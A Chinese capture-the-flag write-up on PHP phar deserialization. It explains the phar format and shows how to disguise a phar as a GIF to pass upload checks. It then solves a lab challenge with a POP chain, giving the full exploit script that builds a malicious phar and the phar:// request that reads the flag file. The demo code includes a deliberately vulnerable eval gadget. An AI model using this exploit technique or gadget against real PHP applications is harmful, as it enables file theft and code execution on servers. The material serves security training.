0x00 考点 
代码审计 
phar反序列化 
 
0x01 phar反序列化 1. 背景 先来了解一下什么是phar。通过phar文件构造反序列化,这是由Sam Thomas在2018年的blackhat会议上提出的。在他分享的文件File Operation Induced Unserialization via the “phar://” Stream Wrapper 中详细介绍了phar反序列化,并且给出了在TYPO3和WordPress等cms下的几个实例。
通常我们在利用反序列化漏洞的时候,除了构造怕POP Chain之外,另一个很重要的点就是找到反序列入口函数unserialize。而现在一些开发者为了安全性起见,会用json_decode来替代unserialize,所以反序列化漏洞的利用难度也随之提升了。但是Sam Thomas提出的phar反序列化就拓宽了反序列化漏洞的攻击面。
2. phar://协议 和filter://等流包装器一样,phar://也是流包装器的一种,能够读取phar文件的内容。
3. phar文件结构 phar文件的具体结构可参考: https://www.php.net/manual/zh/phar.fileformat.php  
一个phar文件基本由四部分组成:
The phar file format is literally laid out as stub/manifest/contents/signature , and stores the crucial information of what is included in the phar archive in its manifest . 
 
2.1 stub 每一个phar文件都必须包含一个stub,从手册中可以看到,该stub中必须包含__HALT_COMPILER();部分,如此phar扩展才能识别该phar文件。
stub的格式就像一个最简单的PHP文件,一般的格式为xxx<php? xxx; __HALT__COMPILER(); ?>。最后面的?>可以省略,但是__HALT__COMPILER();和?>之间的空格不能超过1个。
2.2 manifest phar文件中最核心的部分就是manifest,phar本质是一种压缩文件,其中被压缩的文件的权限和属性等信息都存放在这里。用户自定义的Meta-data也被存储在这里。而这就是通过phar文件来进行反序列化的关键点之一。接下来我们要找到的是能够触发解析这串序列化字符串的函数。
2.3 contents contents就是被压缩的文件的内容,我们通过addFromString,以字符串的形式添加一个文件到phar文件中。
2.4 signiture 在调用phar对象的stopBuffering()方法时,签名会被自动计算,一般有两种方式:md5和sha1。
2.5 一个简单的例子 这就是最简单的一个phar文件的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php     class  PharTest   {     }     $phar = new  Phar("phar.phar" );      $phar->startBuffering();     $phar->setStub("<?php __HALT_COMPILER(); ?>" );      $o = new  PharTest();     $o->data='bantian' ;     $phar->setMetadata($o);      $phar->addFromString("test.txt" , "test" );      $phar->stopBuffering();       ?> 
 
这里需要注意的是,要确保php.ini文件中phar.readonly选项的值为off,不然无法生成phar文件。
查看生成的phar文件,开头包含识别phar文件所必须的<?php __HALT_COMPILER();,然后还包含用户自定义的,以序列化字符串格式存储的metadata信息。
在PHP的源码ext\phar\phar.c中可以看到解析phar文件中的metadata时的方法phar_parse_metadata,在处理metadata时调用了反序列化处理函数php_var_unserialize():
什么函数会在通过 phar://解析phar文件时触发metadata反序列化呢,有师傅测试后得到了一个受到影响的函数列表 :
2.6 将phar文件伪造为其他格式的文件 虽然在新建phar文件时,也就是创建phar对象时,$phar=new Phar('phar.phar');,文件后缀名必须为.phar。但是生成了phar文件后,我们是可以修改文件后缀名的。比如有一些时候,后端可能会通过exif_imagetype来读取用户上传的图像的第一个字节或是文件头来判断图像的类型,以此来限制用户上传的文件类型。这时候就可以在phar文件前面加上类似GIF89a之类的文件头来绕过。毕竟phar文件的stub头仅规定必须包含__HALT_COMPILER();,但是对开头的字符并不做任何的限制。
比如有下面这么一个文件上传的例子。
文件目录结构为:
1 2 3 4 5 6 7 $ tree . ├── file_un.php ├── tmp │   └── upload_file ├── upload_file.html └── upload_file.php 
 
upload_file.html,文件上传的form:
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html  lang ="zh-cn" > <head >     <meta  http-equiv ="Content-Type"  content ="text/html; charset=utf-8"  />      phar反序列化 </head > <body > <form  action ="upload_file.php"  method ="post"  enctype ="multipart/form-data" >     <input  type ="file"  name ="file"  />      <input  type ="submit"  name ="Upload"  />  </form > </body > 
 
upload_file.php,实现上传逻辑文件,可以看到这里会检查上传的文件类型是不是image/gif,并且检查文件的后缀名是不是gif:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $tmp_file_location='tmp/' ; if  (($_FILES["file" ]["type" ]=="image/gif" )&&(substr($_FILES["file" ]["name" ], strrpos($_FILES["file" ]["name" ], '.' )+1 ))== 'gif' ) {    echo  "Upload: "  . $_FILES["file" ]["name" ];     echo  "Type: "  . $_FILES["file" ]["type" ];     echo  "Temp file: "  . $_FILES["file" ]["tmp_name" ];     if  (file_exists($tmp_file_location."upload_file/"  . $_FILES["file" ]["name" ]))       {       echo  $_FILES["file" ]["name" ] . " already exists. " ;       }     else        {       move_uploaded_file($_FILES["file" ]["tmp_name" ],       $tmp_file_location."upload_file/"  .$_FILES["file" ]["name" ]);       echo  "Stored in: "  .$tmp_file_location. "upload_file/"  . $_FILES["file" ]["name" ];       }     } else   {   echo  "Invalid file,you can only upload gif" ;   } ?> 
 
file_un.php,对phar文件进行反序列化的文件,其中触发反序列化行为的就是file_exists函数:
1 2 3 4 5 6 7 8 9 10 <?php $filename=$_GET['filename' ]; class  AnyClass  {    public  $output = 'echo "ok";' ;     function  __destruct ()       {        eval ($this  -> output);     } } file_exists($filename); 
 
AnyClass类中的__destruct魔术方法会执行$this->output指定的命令,所以可以令其为phpinfo();,同时我们可以在stub中加上gif文件头GIF89a,待生成phar文件后修改文件后缀名为gif:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class  AnyClass  {    public  $output;     function  __destruct ()       {        eval ($this ->output);     } } $phar = new  Phar('phar.phar' ); $phar->startBuffering(); $phar->setStub('GIF89a' .'<?php __HALT_COMPILER(); ?>' ); $phar->addFromString('test.txt' , 'test' ); $obj = new  AnyClass(); $obj->output = "phpinfo();" ; $phar->setMetadata($obj); $phar->stopBuffering(); 
 
环境搭建好后,访问localhost/upload_file.html,上传phar.gif文件:
上传后的文件保存在:
访问localhost/file_un.php,用phar://协议读取上传的phar.gif,phar协议只认里面的stub头,主要包含__HALT_COMPILER();就可以识别,对文件后缀名没有要求:
可以看到执行了eval($this->output="phpinfo();");,说明执行了反序列化操作。
上述例子的整个执行流程为:
 
0x02 题解 源码收集 拿到题目,导航栏上有三个按钮:
随便点一下,发现查看文件后面跟着get请求参数:
 
令file.php?file=index.php:
直接可以得到源码,所以我们先收集各个页面的源码信息。
index.php:
1 2 3 4 <?php  header("content-type:text/html;charset=utf-8" );   include  'base.php' ;?> 
 
file.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php  header("content-type:text/html;charset=utf-8" );   include  'function.php' ; include  'class.php' ; ini_set('open_basedir' ,'/var/www/html/' );  $file = $_GET["file" ] ? $_GET['file' ] : "" ;  if (empty ($file)) {     echo  "<h2>There is no file to show!<h2/>" ;  }  $show = new  Show();  if (file_exists($file)) {     $show->source = $file;      $show->_show();  } else  if  (!empty ($file)){      die ('file doesn\'t exists.' );  }  ?> 
 
在file.php中设置了ini_set('open_basedir','/var/www/html/');,限制了我们对除了/var/www/html之外的目录读取。那么flag文件在哪里?F12查看源码,发现提示flag在f1ag.php文件中:
所以我们的目标就是读取这个文件。
在file.php中include了function.php文件和class.php文件。
function.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php  include  "base.php" ; header("Content-type: text/html;charset=utf-8" );  error_reporting(0 );  function  upload_file_do ()   {     global  $_FILES;      $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ;           if (file_exists("upload/"  . $filename)) {          unlink($filename);      }      move_uploaded_file($_FILES["file" ]["tmp_name" ],"upload/"  . $filename);      echo  '<script type="text/javascript">alert("上传成功!");</script>' ;  }  function  upload_file ()   {     global  $_FILES;      if (upload_file_check()) {          upload_file_do();      }  }  function  upload_file_check ()   {     global  $_FILES;      $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" );      $temp = explode("." ,$_FILES["file" ]["name" ]);      $extension = end($temp);      if (empty ($extension)) {               }      else {          if (in_array($extension,$allowed_types)) {              return  true ;          }          else  {              echo  '<script type="text/javascript">alert("Invalid file!");</script>' ;              return  false ;          }      }  }  ?> 
 
function.php文件实现了文件的上传功能,在upload_file()函数中实现上传逻辑,先调用upload_file_check()函数检查上传的文件的后缀,要求是image图片的后缀,然后调用upload_file_do()函数上传文件。上传的文件存放在upload目录下,文件名为:
1 $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ; 
 
然后是核心代码class.php,其中有三个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class  C1e4r  {    public  $test;     public  $str;     public  function  __construct ($name)       {        $this ->str = $name;     }     public  function  __destruct ()       {        $this ->test = $this ->str;         echo  $this ->test;     } } class  Show  {    public  $source;     public  $str;     public  function  __construct ($file)       {        $this ->source = $file;            echo  $this ->source;     }     public  function  __toString ()       {        $content = $this ->str['str' ]->source;         return  $content;     }     public  function  __set ($key,$value)       {        $this ->$key = $value;     }     public  function  _show ()       {        if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) {             die ('hacker!' );         } else  {             highlight_file($this ->source);         }              }     public  function  __wakeup ()       {        if (preg_match("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) {             echo  "hacker~" ;             $this ->source = "index.php" ;         }     } } class  Test  {    public  $file;     public  $params;     public  function  __construct ()       {        $this ->params = array ();     }     public  function  __get ($key)       {        return  $this ->get($key);     }     public  function  get ($key)       {        if (isset ($this ->params[$key])) {             $value = $this ->params[$key];         } else  {             $value = "index.php" ;         }         return  $this ->file_get($value);     }     public  function  file_get ($value)       {        $text = base64_encode(file_get_contents($value));         return  $text;     } } ?> 
 
看到class.php,就知道是一道考察反序列化的题,然后file.php中存在:
看到了
1 2 $show = new  Show();  if (file_exists($file))
 
根据前面关于phar介绍的,已经知道file_exists函数会能够解析用phar://协议读取的phar文件。
并且还存在上传文件的接口:
并且在class Show中直接给出提示://$this->source = phar://phar.jpg,所以可以确定本题的考点就是phar反序列化。
分析 前面在分析file.php文件的时候就已经知道,目标是读取f1ag.php文件,既然这道题的考点是反序列化,那么我们就要重点关注文件读取相关的函数,而在class Test类的方法file_get中就有文件读取函数file_get_contents:
1 2 3 4 5 public  function  file_get ($value)  {    $text = base64_encode(file_get_contents($value));     return  $text; } 
 
那么目标就是调用class Test类中的file_get()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 public  function  __get ($key)  {    return  $this ->get($key); } public  function  get ($key)  {    if (isset ($this ->params[$key])) {         $value = $this ->params[$key];     } else  {         $value = "index.php" ;     }     return  $this ->file_get($value); } 
 
在Test类中,当魔术方法__get()被触发的时候会调用get()方法,而在get()方法中,当$this->params[$key]存在时,会将该值赋给$value,然后传入file_get()方法。
__get()魔术方法是在尝试获取一个不可达属性,比如private属性或是不存在的属性时会被触发。在Show类中的__toString魔术方法中就有获取属性值的行为:
1 2 3 4 5 public  function  __toString ()  {    $content = $this ->str['str' ]->source;     return  $content; } 
 
这里只要构造$this->str['str']为Test类对象就可以触发__get方法,__get()方法会去获取Test类中的source属性,会调用get()方法去获取,在get()方法中会判断$this->params['source']是否存在:
1 2 3 if (isset ($this ->params[$key])) {    $value = $this ->params[$key]; } 
 
所以需要将Test类中的params数组赋值为:array('source' => '/var/www/html/f1ag.php');。
接下来就需要触发Show类的__toString()方法,该方法会在直接输出对象引用时自动调用,那就要去找echo。
在C1e4r类中的__destruct方法中,可以看到:
1 2 3 4 5 public  function  __destruct ()  {    $this ->test = $this ->str;     echo  $this ->test; } 
 
在执行析构函数时,$this->test的值来自$this->str,那么只要令$this->str的值为Show类对象即可。
整个反序列化POP链执行流程就是:
令C1e4r类对象的$str值为Show类对象; 
C1e4r类中的__destruct函数echo $this->test; 
触发Show类中的__toString(); 
Show类中的__toString()执行$content = $this->str['str']->source;; 
$this->str['str']为Test类对象,会触发该类中的__get方法; 
Test类中的__get方法调用get(),最后调用get_file()读取flag文件。 
 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class  C1e4r  {	public  $test; 	public  $str; } class  Show  {	public  $source; 	public  $str; } class  Test  {	public  $params; 	public  function  __construct ()  	 {		$this ->params = array  ( 			'source'  => '/var/www/html/f1ag.php' , 		); 	} } @unlink('phar.phar' ); $test = new  Test(); $show = new  Show(); $show->str = array ('str'  => $test); $c1e4r = new  C1e4r(); $c1e4r->str = $show; $phar = new  Phar('phar.phar' ); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>' ); $phar->addFromString('test.txt' , 'test' ); $phar->setMetadata($c1e4r); $phar->stopBuffering(); 
 
然后就是计算文件名了,这里真实的坑到我了。已经从function.php的upload_file_do()函数中知道:
1 $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ; 
 
其中,$_SERVER['REMOTE_ADDR']表示浏览当前页面的用户的 IP 地址。 
所以第一反应就是去找我自己的IP,但是从cmd中通过ifconfig找到的并不是我浏览页面时的真实ip,所以我在vps上打了服务,打印出我自己的ip地址:
1 2 3 4 5 <?php  $ipaddress = $_SERVER['REMOTE_ADDR' ]; echo  "Your IP Address is "  . $ipaddress; ?> 
 
然后将得到的ip地址和$_FILES["file"]["name"]做一个拼接,然后计算该字符串的md5值,然后访问:
1 file.php?file=phar://upload/[md5].jpg 
 
但是怎么都不对…返回的提示是file doesn't exists.。
然后我想,既然已知目录upload/,那么直接访问一下该目录好了,结果发现真的可以访问…:
然后我又搜了下别人的wp,才发现,因为我们访问靶场的时候,是用的buuoj的内网,所以我用我自己的ip地址去拼接其实也不正确的,真正让人无语的是原来ip地址已经在题目的右上角显示了:
拼接后为phar.gif174.0.0.2,md5加密后就是98a26f92bdfa31cef626a8ab89f1b104:
所以最后用phar://协议读取该文件:
1 /file.php?file=phar://upload/98a26f92bdfa31cef626a8ab89f1b104.jpg 
 
解密后得到flag: